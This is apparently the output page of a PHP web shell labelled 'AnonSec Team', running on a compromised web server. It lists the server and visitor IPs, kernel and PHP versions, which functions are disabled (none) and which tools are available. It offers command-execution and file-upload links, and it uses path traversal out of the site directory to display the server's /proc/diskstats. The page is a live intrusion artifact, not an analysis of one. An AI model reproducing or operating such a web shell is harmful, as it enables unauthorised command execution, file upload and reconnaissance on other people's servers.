AnonSec Team
Server IP : 62.171.151.215  /  Your IP : 216.73.217.19
Web Server : nginx/1.18.0
System : Linux vmi3128365 5.15.0-176-generic #186-Ubuntu SMP Fri Mar 13 11:01:42 UTC 2026 x86_64
User : alex ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /var/www/workoutfacile.com/../../../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /var/www/workoutfacile.com/../../../proc/diskstats
   7       0 loop0 2136 0 152328 2673 0 0 0 0 0 9904 2673 0 0 0 0 0 0
   7       1 loop1 659 0 6316 930 0 0 0 0 0 1584 930 0 0 0 0 0 0
   7       2 loop2 513 0 28130 541 0 0 0 0 0 1772 541 0 0 0 0 0 0
   7       3 loop3 131 0 2500 599 0 0 0 0 0 560 599 0 0 0 0 0 0
   7       4 loop4 802 0 8904 824 0 0 0 0 0 1636 824 0 0 0 0 0 0
   7       5 loop5 1482 0 89058 2931 0 0 0 0 0 7848 2931 0 0 0 0 0 0
   7       6 loop6 712 0 3032 1348 0 0 0 0 0 2732 1348 0 0 0 0 0 0
   7       7 loop7 101 0 2350 48 0 0 0 0 0 124 48 0 0 0 0 0 0
  11       0 sr0 129 0 812 134 0 0 0 0 0 224 134 0 0 0 0 0 0
   8       0 sda 67310774 8550532 2992600295 109284308 206851184 111419132 6687239676 379129652 0 411977144 558370076 3894861 12 16695380456 8579980 87652332 61376135
   8       1 sda1 67307264 8529972 2992423030 109280547 206851182 111419132 6687239674 379129648 0 411972304 496990154 3894849 0 16692965144 8579959 0 0
   8      14 sda14 241 0 2078 176 0 0 0 0 0 276 176 0 0 0 0 0 0
   8      15 sda15 403 20560 38186 666 2 0 2 4 0 664 692 12 12 2415312 21 0 0
   7       8 loop8 11 0 28 1 0 0 0 0 0 8 1 0 0 0 0 0 0

AnonSec - 2021